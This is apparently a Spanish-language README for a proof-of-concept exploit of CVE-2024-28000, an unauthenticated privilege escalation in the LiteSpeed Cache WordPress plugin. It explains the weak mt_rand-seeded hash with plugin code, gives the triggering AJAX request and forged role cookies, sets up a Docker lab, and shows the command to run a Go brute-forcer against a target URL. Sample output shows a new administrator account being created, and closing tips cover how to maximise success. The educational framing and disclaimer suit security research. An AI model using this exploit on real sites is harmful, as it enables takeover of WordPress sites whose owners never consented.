
CVE-2024-28000 — Actualizado!
Laboratorio práctico de explotación para CVE-2024-28000 — escalada de privilegios no autenticada en LiteSpeed Cache (plugin de WordPress, <=6.3.0.1). Levanta un entorno vulnerable con Docker e incluye un brute-forcer basado en Go que descifra el hash débil de mt_rand para crear una cuenta de administrador.
CVE-2024-28000 - PoC de Escalada de Privilegios en LiteSpeed Cache
[!WARNING] Este repositorio está destinado únicamente a fines educativos y de investigación.
- Utilice el PoC proporcionado exclusivamente en sistemas de su propiedad o para los que tenga permiso explícito de probar.
- El acceso no autorizado, la explotación o el uso indebido de cualquier material de este repositorio es ilegal.
- El autor(es) no asume ninguna responsabilidad por daños, uso indebido o consecuencias legales derivadas de un uso inadecuado.
Descripción general
CVE-2024-28000 es una vulnerabilidad crítica de escalada de privilegios no autenticada que afecta al plugin LiteSpeed Cache para WordPress. La vulnerabilidad se origina en un mecanismo de autenticación débil basado en hash en la función de simulación de rol del crawler del plugin, lo que permite a un atacante completamente no autenticado hacerse pasar por un administrador de WordPress y tomar el control total del sitio.
Cómo funciona la vulnerabilidad
El plugin LiteSpeed Cache incluye un crawler que precalienta la caché del sitio visitando páginas como diferentes roles de usuario. Para autenticar el crawler, el plugin genera un hash corto y lo almacena en la tabla de opciones de WordPress. Cualquier solicitud que presente este hash en una cookie recibe el rol de usuario especificado en una segunda cookie.
Tres fallos de diseño se combinan para hacer esto explotable:
Fallo 1 - Disparador de hash no autenticado
La acción AJAX que genera el hash está registrada para usuarios no autenticados sin verificación de capacidades ni de nonce:
// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);
public function async_litespeed_handler() {
// No capability check
// No nonce verification
// Any visitor can call this
$type = sanitize_key($_POST['litespeed_type'] ?? '');
if ($type === 'crawler') {
$hash = Str::rrand(6);
self::update_option(self::ITEM_HASH, $hash);
}
wp_die();
}
Un atacante lo dispara enviando:
POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler
Fallo 2 - Hash predecible (espacio de semilla de solo 1.000.000)
El hash se genera usando mt_rand() de PHP sembrado con el componente de microsegundos de la hora actual:
// src/str.cls.php
public static function rrand($len, $type = 7) {
mt_srand((int) ((float) microtime() * 1000000));
// seed = microseconds = 0 to 999,999 only
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
}
return $str;
}
microtime() devuelve solo la fracción de segundo (por ejemplo, 0.523847). Multiplicado por 1.000.000, esto produce una semilla entre 0 y 999.999, independientemente de la hora del día. Un atacante que dispara la generación del hash por sí mismo conoce la hora aproximada de generación y puede forzar por fuerza bruta las 1 millón de semillas en minutos.
Fallo 3 - Sin limitación de tasa en la verificación
El plugin verifica el hash en cada solicitud con una simple comparación de cadenas y sin bloqueo ni limitación de tasa:
// src/router.cls.php
public function is_role_simulation() {
if (empty($_COOKIE['litespeed_hash'])) return;
$hash = self::get_option(self::ITEM_HASH);
// Simple string compare - no rate limiting, no IP check, no lockout
if ($_COOKIE['litespeed_hash'] !== $hash) return;
$role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}
Flujo completo del ataque
sequenceDiagram
participant A as Attacker
participant W as LiteSpeed Cache / WordPress
A->>W: POST /wp-admin/admin-ajax.php
W->>W: Seed mt_rand() with microtime()
W->>W: Generate & store litespeed_hash
A->>A: Brute-force PRNG seed
A->>A: Replicate PHP mt_rand() in Go
A->>A: Recover litespeed_hash
A->>W: Cookie: litespeed_hash=<recovered_hash>
A->>W: Cookie: litespeed_role=1
W->>W: verify_hash()
W->>W: wp_set_current_user(1)
A->>W: POST /index.php?rest_route=/wp/v2/users
W-->>A: Administrator account created
A->>W: Login with new Administrator account
Note over A,W: Full Site Compromise
Configuración del laboratorio
Requisitos
- Docker
- Go 1.21+
Instalación
# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git
# Change directory
cd CVE-2024-28000
# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml
# Build and start:
cd lab && docker compose up -d --build
# Watch setup progress:
docker compose logs -f wordpress
Espere hasta que vea:
============================================================
Lab ready!
Admin : http://YOUR_IP/wp-admin
Login : admin / admin123
Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================
Uso
Ejecutar el exploit
cd expl && go run main.go -url http://TARGET_IP/ -threads 40
Salida esperada
============================================================
CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
Target : https://TARGET_IP/
Seeds : 0 to 999999 (1000000 total)
Threads : 40
Timeout : 5s
============================================================
[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread 5] Testing seed 100000
[INF] [Thread 7] Testing seed 150000
[INF] [Thread 9] Testing seed 200000
[INF] [Thread 3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread 1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000
[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username : test_lab_user
[+] Password : test_lab_pass
[+] Login at : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s
[!IMPORTANT] El hash no tiene caducidad, pero puede regenerarse mediante el crawler integrado de LiteSpeed.
- Si el crawler está activo (intervalo predeterminado: cada 10 minutos), el hash almacenado en la base de datos se reemplazará automáticamente, lo que provocará que la fuerza bruta falle, ya que está probando semillas para el hash antiguo.
- Si el crawler está deshabilitado, el hash persiste indefinidamente y el número de hilos solo afecta a la velocidad, no al éxito.
- Para maximizar la tasa de éxito: dispare la generación del hash y ejecute el exploit inmediatamente, con tantos hilos como pueda manejar el objetivo.
- Señales de que el hash fue rotado a mitad del ataque: se agotan las 1.000.000 de semillas sin resultado a pesar de que la verificación de cordura pasó al inicio.